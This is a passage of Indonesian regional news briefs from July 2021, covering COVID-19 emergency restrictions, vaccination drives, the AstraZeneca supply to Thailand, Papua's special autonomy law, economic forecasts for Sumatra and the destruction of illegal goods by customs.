LaNyalla. Proses pelayanan kesehatan juga harus memadai dan efektif sehingga angka kematian dapat berkurang. Ia mengusulkan sebelum perpanjangan itu diputuskan, pemerintah perlu mengevaluasi efektivitas PPKM darurat yang telah berjalan di wilayah Jawa dan Bali pada 3-20 Juli 2021. "Pergerakan kasus positif COVID-19 seperti apa? Lalu, dampak terhadap ekonomi juga penyaluran bantuan sosial sudah dilakukan dengan tepat dan cepat atau belum," ujar dia. Ia pun berharap pemerintah dapat jujur dan objektif melihat berbagai data dan hasil evaluasi pelaksanaan PPKM darurat. "Kami berharap kebijakan yang nantinya diambil tidak mendatangkan kerugian bagi masyarakat baik pada aspek kesehatan maupun ekonomi," tambah LaNyalla Mattalitti. (sws)

Warga Papua Rasakan Manfaat Otsus Jika Ada Keterbukaan

Wamena, FNN - Warga Papua akan merasakan manfaat Otonomi Khusus (Otsus) ke dua jika ada keterbukaan dari pengambil kebijakan di Papua dalam pelayanan menyangkut dana otonomi. Warga Jayawijaya Lukas Kossay, di Wamena, ibu kota Kabupaten Jayawijaya, Papua, Kamis, mengatakan penerapan otonomi khusus (otsus) kedua harus sesuai kriteria yang sudah ditentukan menurut arah dan amanah undang-undang. "Sasaran otsus ini kan untuk bagaimana kesejahteraan Orang Asli Papua (OAP), tetapi kalau kita jadi pimpinan yang pintar-pintar belok sana, belok sini (tidak sesuai amanah UU, Red) ya kita tahu dirilah. Kita merugikan kita punya generasi ke depan, khususnya OAP," katanya pula. Ia mengharapkan warga tidak mempolitisasi Otsus tersebut sebab pemerintah pusat memberikan Otsus dengan tujuan baik. "Kita tidak boleh mempolitisasi dengan alasan yang tidak betul-betul logis sama sekali, akibatnya kita punya muda-mudi generasi OAP ke depan itu dia sudah kehilangan tempat, terutama tenaga kerja," katanya lagi. Lukas yang bertugas di salah satu instansi Pemkab Jayawijaya ini mengatakan, masyarakat Papua layak mendapatkan otsus kedua. Dia mencontohkan kegiatan pemerintah di dinasnya dalam rangka peningkatan sumber daya manusia Orang Asli Papua dibiayai dari dana otsus. "Kita layak dapat \otsus kedua dan kita atur di sini sebab mekanismenya semua ada, apa yang susah. Sehingga secara pribadi saya terima saja otsus tahap kedua ini jalan. Kita punya kegiatan produktivitas tenaga kerja asli Papua misalnya, itu didanai dari otsus," katanya lagi. Menurut dia, jika pada otsus tahap pertama progres pembangunan tidak signifikan, maka pada otsus tahap kedua harus dimanfaatkan dengan baik. "Jadi saya harap dari kita saja. Anak-anak daerah yang sudah jadi pimpinan, pengambil keputusan, mari kita manfaatkan ini dengan baik dan tidak usah dipolitisasi dengan berbagai politik. Kita memanfaatkan program pemerintah pusat ini, lalu target yang kita kejar supaya kita dapat output yang maksimal," kata dia. Warga lainnya, Yosep mengatakan yang dibahas dalam otsus tahap dua adalah pemekaran dan penambahan dana. Ia menilai dengan pemekaran, maka akan membuka lapangan pekerjaan bagi anak-anak asli Papua, sehingga warga Papua harus siap menghadapi pembangunan agar terlibat langsung. "Peluang sudah ada bagaimana kita persiapkan diri untuk menangkap peluang itu. Kita harus persiapkan diri untuk menyambut otsus karena ketika itu masuk, peluangnya besar," katanya lagi. Pegawai pemerintah ini mengajak pemuda Papua meningkatkan kemampuan, sehingga ketika peluang kerja yang masuk melalui otsus tersedia, maka pemuda Papua bisa diterima untuk bekerja pada berbagai sektor pembangunan. "Kita harus punya skill untuk bekerja agar tidak menjadi penonton di kampung kita sendiri," katanya lagi. (mth)

AstraZeneca Minta Thailand Perpanjang Tenggat Pengiriman Vaksin

Bangkok, FNN - AstraZeneca telah meminta Thailand untuk mengundurkan tenggat pengiriman 61 juta dosis vaksin COVID-19 hingga lima bulan lagi, kata seorang deputi menteri, Kamis (15/7). Permintaan AstraZeneca itu dinilai akan semakin memperlambat program vaksinasi di negara tersebut. Deputi Menteri Kesehatan Thailand Sathit Pitutacha mengatakan AstraZeneca saat ini memiliki kapasitas produksi 15 juta dosis vaksin per bulan di pabrik mereka di Thailand dan kapasitas itu dapat diperbesar lagi. AstraZeneca belum memberi komentar atas pernyataan Sathit itu, yang diungkapkan dalam sebuah wawancara dengan saluran TV MCOT. Namun, permintaan AstraZeneca itu disebabkan oleh lambatnya peningkatan produksi oleh mitra lokal, yang menghadapi masalah dalam pembuatan awal dan pengiriman. Perusahaan itu meyakini akan kembali berproduksi mulai bulan ini untuk memenuhi pasokan yang dijanjikan kepada Thailand dan negara-negara Asia Tenggara lainnya. AstraZeneca telah berjanji untuk memberikan 40 persen produksi vaksinnya kepada Thailand, kata Sathit, dan Thailand akan meminta lebih banyak dosis kepada perusahaan itu. "Kami harus berunding dengan mereka, karena dalam situasi seperti ini kita memerlukan lebih banyak vaksin," kata Sathit. "Kami menginginkan 10 juta dosis seusai rencana awal 10 juta dosis," kata dia, menyebut target pengiriman per bulan. Pemerintah Thailand pada Rabu mengatakan tengah mempertimbangkan pembatasan ekspor vaksin AstraZeneca yang diproduksi secara lokal untuk menghadapi pandemi. Menanggapi pertanyaan tentang rencana Thailand tersebut, AstraZeneca mengatakan bahwa vaksin yang mereka buat di negara itu "sangat penting" bagi negara-negara tetangganya yang juga tengah berjuang menghadapi pandemi. "Kami aktif bekerja sama dengan pemerintah Thailand dan negara-negara Asia Tenggara lain untuk memberi akses vaksin yang adil di wilayah itu," kata perusahaan tersebut. Thailand sedang menghadapi wabah COVID-19 terburuk dan mencatat 98 kematian akibat infeksi virus corona pada Kamis, menambah jumlah totalnya menjadi 3.032 sejak awal pandemi. Gugus tugas COVID-19 Thailand juga melaporkan 9.186 kasus baru, sehingga total kasus infeksinya mencapai 372.215. Program vaksinasi Thailand dimulai pada Juni dan baru sekitar lima persen dari 66 juta penduduk negara itu yang telah divaksin secara lengkap. (mth)

Kapolri Prediksi "Herd Immunity" Terbentuk Bulan Agustus dan September

Jakarta, FNN - Kapolri Jenderal Pol Listyo Sigit Prabowo memprediksi kekebalan komunal masyarakat atau herd immunity dapat terbentuk para rentang waktu bulan Agustus hingga September 2021. Keyakinan akan terbentuknya herd immunity tersebut disampaikan Kapolri saat meninjau kegiatan vaksinasi massal yang diselenggarakan Polri berkerja sama dengan Pengurus Besar Himpunan Mahasiswa Islam (PB HMI) di SMA Negeri 38 Jakarta dan PB Serikat Mahasiswa Muslimin Indonesia (SEMMI) di Universitas Indraprasta, Jakarta, Kamis. "Dengan adanya peran pemuda dan mahasiswa menjadi garda terdepan dalam penanganan pandemik COVID-19 ini, sehingga target akhir tahun paling tidak menjelang Agustus hingga September, herd immunity segera terwujud," kata Sigit melalui keterangan tertulis-nya. Dihadapan mahasiswa peserta vaksinasi COVID-19, Sigit menyampaikan bahwa dengan terbentuknya kekebalan komunal masyarakat sebagaimana telah ditargetkan oleh pemerintah, maka pemulihan ekonomi akan berjalan dengan baik. Sebagaimana diketahui, pandemik COVID-19 telah merusak sendi-sendi kehidupan, berdampak pada sosial, kesehatan dan ekonomi masyarakat. "Dengan terbentuknya herd immunity, masyarakat diharapkan bisa kembali melaksanakan aktivitas-nya sehingga pemulihan ekonomi bisa berjalan dengan baik," ujar Sigit. Mantan Kabareskrim Polri ini menilai, rasa optimistis terbentuknya herd immunity dalam waktu dekat ini terlihat dari antusiasme yang tinggi para peserta vaksinasi yang diselenggarakan oleh PB HMI dan PB SAMMI. Vaksinasi tersebut ditujukan untuk pelajar atau anak dengan rentang usia 12 tahun ke atas. "Hari ini dilaksanakan kegiatan vaksinasi untuk anak-anak usia 12 tahun ke atas dari mulai SMP, SMU, dan juga anak-anak SD yang sudah bisa divaksin. Tentunya kami melihat anak-anak pun antusias untuk divaksin ini merupakan kabar baik untuk kita semua," ucap Sigit. Jenderal bintanng empat itu berharap, kolaborasi vaksinasi massal ini bisa berlanjut ke seluruh wilayah di Indonesia. Mengingat, kunci penanganan pandemik COVID-19 berada pada sinergitas, kerja sama dan saling bergandengan tangan antar-kelompok. "Upaya akselerasi vaksin dalam rangka membentuk herd immunity yang tentunya kami tunggu-tunggu sehingga kemudian kehidupan masyarakat bisa kembali pelan-pelan pulih normal. Tentunya kita harapkan ini semua bisa segera tercapai," ujar Sigit. Dalam kesempatan itu, Sigit kembali mengingatkan bahwa protokol kesehatan tetap diterapkan setelah divaksinasi COVID-19. Kegiatan vaksinasi massal Polri bersama PB HMI di SMA Negeri 38 menargetkan seribu orang per hari. Acara berlangsung selama dua hari tanggal 15-16 Juli 2021. Petugas vaksinator yang dilibatkan dalam kegiatan ini sejumlah 13 orang vaksinator yang terdiri dari lima vaksinator Polri dan delapan vaksinator dari HMI. Dalam kegiatan ini, panitia juga menyajikan hastag atau tanda pagar #remajaambilperan, dengan tujuan menyukseskan vaksinasi massal remaja. Sementara vaksinasi massal PB SEMMI yang diselenggarakan di Universitas Indraprasta juga menargetkan seribu orang per hari yang disuntik vaksin. Petugas vaksinator yang dilibatkan dalam kegiatan itu sejumlah 15 orang vaksinator dari Biddokkes Polda Metro Jaya. (mth)

BI Prediksi Ekonomi Sumatera 2021 Akan Mengalami Akselerasi Pertumbuhan

Jakarta, FNN - Bank Indonesia memprediksi perekonomian Sumatera untuk keseluruhan tahun 2021 akan mengalami akselerasi pertumbuhan yang ditopang oleh perbaikan kinerja di hampir seluruh lapangan usaha. "Ekonomi Sumatera secara keseluruhan tahun akan mengalami sedikit akselerasi dengan peluang perbaikan harga komoditas utama," kata Kepala Perwakilan Bank Indonesia Provinsi Sumatera Utara, Soekowardojo dalam Webinar Sumatranomics, Kamis. Pertumbuhan ekonomi Sumatera, lanjutnya, juga ditopang oleh kondisi cuaca yang mendukung untuk meningkatkan produktivitas sawit dan karet, serta implementasi CHSE (Cleanliness, Health, Safety & Environment) yang mendorong kinerja MICE dan pariwisata domestik. Dari sisi permintaan, konsumsi rumah tangga diprediksi naik 48,3 persen (yoy) ditopang perbaikan ekonomi yang diperkirakan akan mendorong peningkatan daya bel, mobilitas masyarakat yang mengalami peningkatan pada 2021 dan berlanjutnya beberapa program PEN stimulus pemerintah. Investasi PMTB juga diprediksi tumbuh 31,8 persen (yoy) seiring peningkatan target realisasi investasi Jalan Tol Trans Sumatera setelah terkendalinya beberapa ruas pada 2021 karena pandemi dan selanjutnya proyek multiyear swasta terkait pembangkit listrik pembangunan pabrik baru dan lainnya. Begitu juga dengan konsumsi pemerintah yang diprediksi tumbuh 7,1 persen (yoy) "Net eskpor naik 11,1 persen (yoy) ditopang peningkatan permintaan dan harga komoditas migas, CPO, batubara, plup and paper, elektronik, karet serta timah yang mendorong ekspor Sumatera," jelasnya. Dari sisi penawaran, pertumbuhan ekonomi Sumatera didukung oleh sektor pertanian yang tumbuh 23,4 persen (yoy). Pertumbuhan ini dikarenakan ada peningkatan luas lahan kebun kelapa sawit baru yang diprediksi mendorong produksi dan hasil mature replanting yang diprediksi meningkatkan hasil produksi perkebunan. Kemudian sektor industri diprediksi tumbuh 21,1 persen (yoy) melalui pulihnya permintaan CPO global dan program B30 serta tren peningkatan harga komoditas perkebunan. Begitu juga dengan sektor perdagangan konstruksi dan tambang yang masing-masing diprediksi tumbuh 12,6 persen, 10,8 persen dan 10,6 persen. Kendati demikian, Soekowardojo menyampaikan akselerasi pertumbuhan dapat terhambat apabila implementasi program vaksin dan proses yang tidak sebaik ekspektasi, kasus COVID-19 yang masih meningkat di global dan domestik, hingga pelaksanaan program pemulihan yang tidak secepat harapan. "Sehingga berdampak pada pelemahan permintaan domestik dan terhambatnya pelaksanaan program pemulihan disamping adanya PPKM darurat," tuturnya. Perekonomian Sumatera pada triwulan I tercatat mengalami perbaikan meski masih terkontraksi yakni sebesar 0,86 persen, naik dibandingkan triwulan sebelumnya minus 2,21 persen. Ekonomi Sumatera pada triwulan II menunjukkan pertumbuhan ke arah yang positif meskipun masih terbatas. Perbaikan tersebut ditopang oleh pelonggaran aktivitas dan mobilitas masyarakat pada Ramadhan dan Idul Fitri, harga komoditas yang menguat serta mulai pulihnya demand global yang mendorong ekspor impor. (mth)

Pemerintah Cermati Dampak PPKM Darurat terhadap Ekonomi

Jakarta, FFN - Pemerintah masih mencermati dampak penerapan PPKM Darurat terhadap ekonomi sebelum merumuskan kebijakan untuk mendorong geliat sektor non-esensial setelah kebijakan tersebut dicabut nanti. Kebijakan PPKM Darurat yang berlaku sejak 3 Juli hingga 20 Juli 2021 telah menghentikan sementara aktivitas sektor non-esensial di Jawa hingga Bali untuk menekan laju penyebaran COVID-19. "Kami akan amati dengan cermat. Kami ada tim yang mengamati sampai berapa jauh kita boleh pergi. Istilah saya itu kalau kita bengkokkan sesuatu mesti ada batasnya, kalau bengkok terus ya patah. Kami mengamati betul ini masalah ekonomi jangan sampai kelamaan juga malah membuat mati," kata Menteri Koordinator Bidang Kemaritiman dan Investasi Luhut Binsar Panjaitan dalam konferensi pers virtual yang dipantau di Jakarta, Kamis. Selama pelaksanaan PPKM Darurat, beberapa ketentuan yang dikeluarkan adalah pengetatan kewajiban bekerja dari rumah untuk semua pekerja sektor non-esensial dan kegiatan belajar mengajar dilakukan secara daring. Sektor non-esensial erat kaitannya dengan industri pariwisata dan UMKM yang menjadi tulang punggung perekonomian nasional. Selama pemberlakuan PPKM Darurat, sektor non-esensial menghadapi hambatan besar terkait pembatasan aktivitas. Bagi sektor esensial, maksimal 50 persen staf yang bekerja di kantor dengan melakukan protokol kesehatan secara ketat dan 100 persen bagi sektor kritikal. Pemerintah mengizinkan supermarket, pasar tradisional, toko kelontong, dan swalayan untuk beroperasi hingga pukul 20.00 WIB dengan kapasitas pengunjung 50 persen. Sedangkan untuk apotek tetap diperbolehkan beroperasi selama 24 jam melayani masyarakat yang membutuhkan obat-obatan. Namun, pemerintah memutuskan agar pusat perbelanjaan dan pusat perdagangan lainnya termasuk kawasan wisata ditutup selama penerapan PPKM Darurat tersebut. Menteri Luhut mengungkapkan pihaknya segera melaporkan kepada Presiden Jokowi terkait strategi dalam memulihkan ekonomi selepas pencabutan kebijakan PPKM Darurat pada 21 Juli. Dia juga menyampaikan akan bertemu dengan Asosiasi Guru Besar Universitas Indonesia untuk meminta pendapat akademis dalam merumuskan kebijakan pemulihan ekonomi yang terdampak PPKM Darurat. "Saya janji kepada Presiden besok atau nanti sore, kami akan laporkan cara bertindak apa yang akan kami lakukan berikutnya dengan data-data yang ada," ucap Luhut. (mth)

Pemkot Kupang Vaksinasi COVID-19 Massal bagi 10.500 Warga

Kupang, FNN - Pemerintah Kota Kupang, Provinsi Nusa Tenggara Timur segera melakukan vaksinasi COVID-19 secara massal dengan target 10.500 orang warga yang mendapat vaksin pertama guna mencegah penyebaran virus Corona. "Animo masyarakat Kota Kupang untuk melakukan vaksinasi sangat tinggi. Hal itu dapat dilihat dalam kegiatan vaksinasi di beberapa pihak yang dipadati warga," kata Wakil Wali Kota Kupang,Hermanus Man di Kupang, Kamis. Ia mengatakan, Pemerintah Kota Kupang mendapat bantuan 10.500 dosis vaksin pertama dari Pemerintah Provinsi Nusa Tenggara Timur untuk mengatasi penyebaran COVID-19. Vaksin yang ada itu menurut dia dialokasikan bagi 10.500 warga Kota Kupang yang diberikan melalui kegiatan vaksinasi massal pada 19 dan 21 Juli mendatang yang berlangsung di Puskesmas dan berbagai rumah sakit di daerah ini. Kegiatan vaksinasi massal itu, kata dia, dilakukan disemua Puskesmas di ibu kota Provinsi NTT tersebut. Ia mengatakan, vaksinasi massal yang dilakukan pada semua Puskesmas dan rumah sakit di Kota Kupang itu sebagai upaya pemerintah untuk mengurai terjadinya kerumunan warga saat mengikuti kegiatan vaksinasi. "Warga tidak perlu kwatir dengan kekurangan vaksin. Vaksin selalu tersedia sehingga tidak perlu datang berkerumun di tempat vaksinasi yang sedang dilakukan di daerah ini,"tegas Hermanus Man. Hermanus Man mengatakan 10.500 dosis vaksin COVID19 itu digunakan selama dua hari. Dia menambahkan kegiatan vaksinasi massal dipastikan mengikuti protokol kesehatan pencegahan COVID-19 karena tim gugus tugas kelurahan dan kecamatan akan melakukan pengawasan secara ketat. Menurut dia tingginya animo warga untuk mendapatkan vaksinasi karena dua hal yaitu pemerintah memberlakukan aturan wajib menunjukan sertifikat dalam pengurusan dokumen pemerintahan serta adanya rumor pemberlakukan vaksin pra bayar yang harganya cukup mahal. "Dua hal inilah yang mendorong warga berbonding-bondong mendatangi lokasi kegiatan vaksinasi massal sehingga menimbulkan banyak kerumunan warga," tegas Hermanus Man. (sws)

YLK Sumsel Ajak Masyarakat Awasi Perdagangan Obat COVID-19

Palembang, FNN - Pengurus Yayasan Lembaga Konsumen (YLK) Sumatera Selatan mengajak masyarakat secara bersama-sama intensif melakukan pengawasan perdagangan obat yang biasa digunakan untuk terapi atau pengobatan pasien COVID-19. Partisipasi masyarakat dalam melakukan pengawasan perdagangan obat COVID-19 diperlukan untuk mencegah terjadinya penimbunan barang yang dapat mempengaruhi naiknya harga di pasaran," kata Pembina YLK Sumsel, Rizal Aprizal di Palembang, Kamis. Menurut dia, jika masyarakat mengetahui ada kegiatan penimbunan obat baik secara perorangan maupun kelompok dan lembaga/perusahaan diminta untuk melaporkannya kepada aparat kepolisian terdekat karena merupakan perbuatan melanggar hukum. Sebagai acuan dalam melakukan pengawasan, masyarakat bisa melihat Surat Edaran Kemenkes RI Tentang Harga Eceran Tertinggi ( HET ) 11 jenis obat saat masa pandemi COVID-19. Selain perdagangan obat, masyarakat juga diajak untuk melakukan pengawasan perdagangan oksigen yang akhir-akhir ini mengalami peningkatan permintaan. Melalui upaya tersebut, diharapkan obat dan oksigen atau barang yang bisa digunakan untuk terapi masyarakat yang terpapar virus Corona bisa tersedia dalam jumlah cukup banyak di apotek, toko obat, distributor perusahaan farmasi, dan oksigen dengan harga yang terjangkau, ujar Rizal. Sementara sebelumnya, Kapolda Sumsel, Irjen Pol.Eko Indra Heri S mengatakan pihaknya menurunkan tim untuk mengawasi perdagangan obat dan oksigen di pasaran menghadapi kondisi peningkatan permintaan masyarakat terhadap barang tersebut dalam sebulan terakhir. Untuk melakukan pengawasan itu, tim Direktorat Reserse Kriminal Khusus dan jajaran gencar turun ke apotek, distributor perusahaan farmasi dan pabrik oksigen, katanya. Menurut dia, tim diperintahkan melakukan pengawasan untuk memastikan stok obat dan oksigen tersedia dalam jumlah cukup banyak dan tidak mengalami lonjakan harga di luar batas kewajaran. Dalam kondisi lonjakan kasus positif COVID-19 di provinsi dengan 17 kabupaten/kota itu, permintaan oksigen dan obat yang dapat mengatasi virus tersebut meningkat. "Jika tidak diantisipasi bisa terjadi kelangkaan dan permainan harga yang dapat membebani masyarakat, ujar kapolda. (sws)

Bea Cukai Sulbagsel Musnahkan Rokok-Miras Ilegal Senilai Rp2,88 miliar

Makassar, FNN - Kantor Wilayah Direktorat Jenderal Bea dan Cukai Sulawesi Bagian Selatan (Sulbagsel) melakukan pemusnahan rokok ilegal dan minuman mengandung etil alkohol (MMEA) atau minuman keras (miras) senilai Rp2,88 miliar. Pemusnahan terhadap Barang Milik Negara berupa Barang Kena Cukai Hasil Tembakau (BKC HT) dan miras tersebut merupakan hasil penindakan Kanwil Bea Cukai Sulawesi Bagian Selatan selama periode September-Desember 2020. Kepala Kanwil Direktorat Jenderal Bea dan Cukai Sulbagsel Parjiya usai melakukan pemusnahan barang ilegal di Kantor Bea Cukai Sulbagsel di Makassar, Kamis mengatakan, pemusnahan tersebut telah mendapat persetujuan dari Direktorat Jenderal Kekayaan Negara melalui 4 persetujuan yang dikeluarkan pada Juni 2021. "Penindakan ini dari keputusan berkekuatan hukum, termasuk pemanfaatan barang negara tersebut. Persetujuan dikeluarkan Juni lalu dan pemusnahannya atau pelaksanaan teknis dilakukan pada Juli hari ini, Kamis," ujarnya. Adapun rincian nilai barang-barang ilegal yang dimusnahkan yakni 2.772.000 batang dengan perkiraan nilai barang sebesar Rp2,8 miliar dan miras ilegal sebanyak 288 botol senilai Rp77,4 juta, maka totalnya mencapai Rp2,88 miliar . Sementara perkiraaan total kerugian negara sebesar Rp1,6 miliar terdiri dari Cukai, Pajak Rokok, dan PPn HT. Parjita mengemukakan barang bukti yang berhasil diperoleh pada 2020 ini ditemukan pada beberapa titik, seperti pihak distributor hingga pengecer, bahkan ada pula ditemukan di area parkir distributor. "Setelah penemuan itu, kami lakukan proses hukum tetapi sebagian besar pemilik barang ilegal ini tidak dikenal karena banyak yang hanya dititipi sehingga kita kesulitan mendapat otak pelaku," katanya. Penindakan rokok dan miras illegal tersebut dalam rangka menjalankan dua tugas utama Bea dan Cukai yaitu Community Protector dan juga sebagai Revenue Collector. Sebagai Community Protector, Bea Cukai bertugas mengawasi peredaran rokok dan miras ilegal sehingga tujuan pengenaan cukai yaitu untuk mengatur perilaku dan konsumsi masyarakat terhadap Barang Kena Cukai dapat terwujud. Sedangkan sebagai Revenue Collector, pemberantasan Barang Kena Cukai Ilegal yang dilakukan Bea Cukai diharapkan dapat meningkatkan pendapatan negara dari sektor Cukai. "Lebih dari memperoleh pendapatan negara, tetapi kita juga melihat dari aspek kesehatan masyarakat dalam mengonsumsi miras," ujarnya. (sws)

Rendahnya Ketaatan pada Protokol Kesehatan Picu Kenaikan Kasus COVID-19

Jakarta, FNN - Rendahnya tingkat kepatuhan warga terhadap protokol kesehatan telah memicu peningkatan kasus penularan COVID-19, kata Ketua Bidang Data dan IT Satuan Tugas Penanganan COVID-19 Dewi Nur Aisyah ​​​​​​. "Secara nasional angka kepatuhan menjaga jarak kita lebih rendah dibandingkan kepatuhan memakai maskernya," kata Dewi dalam keterangan tertulis Satuan Tugas yang diterima di Jakarta, Kamis. Menurut data Satuan Tugas pada 11 Juli 2021, dalam sepekan terakhir ada 95 atau 24,11 persen dari 394 kabupaten dan kota dengan tingkat kepatuhan warga memakai masker kurang dari 75 persen. Di tingkat kecamatan, ada 890 atau 26,20 persen dari 3.397 kecamatan dengan tingkat kepatuhan warga memakai masker kurang dari 75 persen. Pada tingkat kelurahan/desa, terdapat 5.282 atau 26,57 persen dari 19.880 kelurahan/desa dengan tingkat kepatuhan warga memakai masker kurang dari 75 persen. Pada periode sama, terdapat 112 atau 28.43 persen dari 394 kabupaten/kota dengan tingkat kepatuhan warga menjaga jarak kurang dari 75 persen. Selain itu ada 1.043 (30.70 persen) dari 3.397 kecamatan dan 5.710 (28,72 persen) dari 19.882 kelurahan/desa dengan tingkat kepatuhan warga menjaga jarak kurang dari 75 persen. Menurut data Satuan Tugas, tingkat kepatuhan terhadap protokol kesehatan pada tujuh provinsi di Jawa dan Bali yang menjalankan Pemberlakuan Pembatasan Kegiatan Masyarakat Darurat juga tergolong rendah. Di Jawa Barat masih ada 814 (23,86 persen) kelurahan/desa dengan tingkat kepatuhan warga memakai masker kurang dari 75 persen dan 1.017 (29,81 persen) kelurahan/desa dengan kepatuhan warga menjaga jarak kurang dari 75 persen. Tingkat ketaatan warga memakai masker dan menjaga jarak di Provinsi DKI Jakarta, Banten, Jawa Tengah, Daerah Istimewa Yogyakarta, Jawa Timur, dan Bali menurut Satuan Tugas juga tergolong rendah, kurang dari 75 persen. Ketidakpatuhan warga terhadap protokol kesehatan bisa menjadi sumber penularan virus corona. Oleh karena itu, Dewi mengemukakan pentingnya kolaborasi pemerintah daerah dan masyarakat untuk memastikan protokol kesehatan dijalankan hingga tingkat lingkungan rukun warga dan rukun tetangga. "Ini memerlukan kolaborasi kita semua, terutama di kalangan masyarakat. Masyarakat mesti bekerja sama dalam menerapkan dan meningkatkan kepatuhan protokol kesehatan," katanya. Data Satuan Tugas Penanganan COVID-19 pada Rabu (14/7) siang menunjukkan jumlah penderita COVID-19 di Indonesia bertambah sampai 54.517 orang. (sws)

Rapat Paripurna DPR RI Sahkan RUU Otsus Papua Jadi UU

Jakarta, FNN - Dewan Perwakilan Rakyat Republik Indonesia mengesahkan Rancangan Undang-Undang tentang Perubahan Kedua atas UU Nomor 21 Tahun 2001 tentang Otonomi Khusus bagi Provinsi Papua (Otsus Papua) jadi Undang-Undang pada Rapat Paripurna Penutupan Masa Persidangan V Tahun 2020-2021 di Jakarta, Kamis. Pengesahan itu diumumkan oleh Wakil Ketua DPR RI Sufmi Dasco Ahmad sebagai pimpinan rapat setelah ia meminta persetujuan 492 peserta Rapat Paripurna yang hadir secara langsung dan virtual. Para peserta rapat kompak memberikan persetujuannya dan Sufmi pun mengetok palu tanda RUU Otsus Papua disahkan sebagai Undang-Undang. Proses pengesahan itu turut disaksikan oleh Menteri Dalam Negeri RI Muhammad Tito Karnavian, Menteri Keuangan RI Sri Mulyani Indrawati, dan Wakil Menteri Hukum dan HAM RI Prof. Edward Omar Sharif Hiariej. Setidaknya ada 20 poin perubahan pada revisi UU Otsus Papua, yang terdiri dari perubahan pada 18 pasal dan penambahan dua pasal baru, kata Ketua Tim Panitia Khusus RUU Otsus Papua Komarudin Watubun saat menyampaikan laporan kerja Tim Pansus pada Rapat Paripurna. “RUU ini mengakomodir perlunya pengaturan kekhususan Orang Asli Papua (OAP) dalam bidang politik, pendidikan, kesehatan, ketenagakerjaan, dan perekonomian, serta memberi dukungan bagi masyarakat adat,” terang Komarudin. Ia menjelaskan UU Otsus yang baru itu memberi ruang yang luas bagi Orang Asli Papua untuk berkiprah dalam politik, serta lembaga-lembaga seperti Majelis Rakyat Papua dan Dewan Perwakilan Rakyat Tingkat Kabupaten/Kota (DPRK). “Saya hitung sekitar 250 kursi (untuk OAP, Red.) untuk seluruh (DPRK) kabupaten dan kota di Papua,” sebut Watubun. UU Otsus yang baru juga memberi afirmasi sebanyak 30 persen untuk keterlibatan perempuan asli Papua pada DPRK. Dalam kesempatan itu, Komarudin turut menyampaikan poin-poin perubahan lainnya yang mencakup peningkatan alokasi Dana Otsus, skema baru pencairan Dana Otsus, pembentukan Rencana Induk Pembangunan Papua, pembentukan Badan Khusus Pembangunan Papua, dan pemberian tenggat waktu penyusunan Peraturan Pemerintah sebagai aturan pelaksana UU Otsus yang baru selama 90 hari setelah beleid itu diundangkan. (sws)

TFRIC-19 Ciptakan Alat Tes Antigen dan Beras Kaya Vitamin dan Mineral

Jakarta, FNN - Task Force Riset dan Inovasi Teknologi untuk penanganan COVID-19 (TFRIC-19) menciptakan produk terbaru inovasi teknologi alat kesehatan berupa alat tes cepat antigen untuk deteksi dini COVID-19 dan pengayaan gizi vitamin dan mineral dalam beras. Untuk inovasi teknologi alat kesehatan, TFRIC-19 Next Generation membuat BPRO sebagai tes antigen untuk diagnostik cepat COVID-19, yang dikembangkan bersama antara tim Badan Pengkajian dan Penerapan Teknologi (BPPT) dengan ProLINE Diagnostics. "Saat ini BPRO sedang dalam tahap registrasi di Kementerian Kesehatan dan persiapan uji validasi eksternal," kata Kepala BPPT Hammam Riza dalam Bincang Sehat TFRIC-19 Next Generation "Isoman Cerdas, Upaya Efektif Hadapi Gelombang COVID-19", di Jakarta, Kamis. Hammam menuturkan produk inovasi itu dikembangkan dari antibodi protein N (Nucleocapsid) virus Corona penyebab COVID-19. BPPT telah membentuk suatu satuan tugas yang dinamai TFRIC-19 yang bertugas menginisiasi pengembangan solusi multidimensi dengan dukungan peneliti dan perekayasa lintas disiplin, bahkan lintas institusi. Selama tahun 2020, TFRIC-19 telah berhasil melahirkan produk inovasi teknologi karya anak bangsa. Berlanjut ke 2021, TFRIC-19 Nezt Generation fokus melakukan lima aksi yakni penguatan kajian keekonomian dan teknologi, penguatan kerja sama, komersialisasi dan media, inovasi teknologi alat kesehatan, inovasi teknologi suplemen kesehatan, serta penguatan data sains dan aplikasi kecerdasan artifisial. Selain alat tes antigen, TFRIC-19 Next Generation juga berhasil melakukan inovasi teknologi dengan melakukan pengayaan gizi vitamin dan mineral dalam pangan pokok beras. Hammam menuturkan beras terfortifikasi adalah beras yang di dalamnya ditambahkan mikronutrien, guna meningkatkan kualitas makanan dan mengurangi masalah kesehatan penduduk. "Dengan gizi vitamin dan mineral yang terpenuhi, maka diharapkan daya tahan tubuh akan semakin membaik," ujar Hammam. Hammam mengatakan Kernel Beras Terfortifikasi (Fortified Rice Kernel) adalah kernel beras yang diperkaya dengan premiks vitamin A, B1, B3, B6, B9, dan B12, yang diproduksi melalui teknologi ekstrusi dengan menggunakan bahan baku lokal. Bekerja sama dengan mitra Perum Badan Urusan Logistik, Kernel Beras Terfortifikasi akan didistribusikan dan dipasarkan dalam bentuk sachet suplemen dan juga beras FORTIVIT, yang merupakan campuran antara Kernel Beras Terfortifikasi dengan beras premium dengan rasio pencampuran 1:100. (sws)

Dinas Kesehatan Catat 90 Nakes di Sikka Terpapar COVID-19

Kupang, FNN - Dinas Kesehatan Kabupaten Sikka, Nusa Tenggara Timur, mencatat jumlah tenaga kesehatan (nakes) setempat yang terpapar virus COVID-19 mencapai 90 orang. Hal itu dikemukakan Kepala Dinas Kesehatan Kabupaten Sikka Petrus Herlemus dalam keterangan yang diterima di Kupang, Kamis, terkait penularan COVID-19 yang juga menyasar tenaga kesehatan setempat. "Nakes kita yang terkonfirmasi positif COVID-19 ini ada yang kondisinya sudah mulai membaik, dan ada juga yang masih isolasi mandiri di rumah," katanya. Petrus Herlemus mengatakan, para nakes memang dihadapkan pada risiko penularan COVID-19 yang tinggi karena setiap hari harus berinteraksi dengan banyak pasien. Di sisi lain, kata dia, kondisi ini juga membuktikan bahwa para nakes berjibaku melindungi masyarakat tanpa menghitung risiko diri mereka. Lebih lanjut ia mengatakan, meskipun banyak nakes yang terpapar COVID-19, namun pelayanan kesehatan kepada masyarakat di Kabupaten Sikka tetap berjalan lancar. "Semua nakes bekerja di setiap lini mereka, koordinasi dan motivasi juga tetap jalan supaya mereka juga tetap semangat," katanya. Petrus Herlemus mengakui bahwa dengan kondisi meningkatnya kasus COVID-19 di Kabupaten Sikka, membuat para nakes juga kelelahan dalam melakukan penanganan pasien. Namun pihaknya juga melakukan langkah antisipasi agar pelayanan kesehatan kepada masyarakat tidak terganggu, yaitu dengan mengusulkan perekrutan penambahan tenaga relawan. 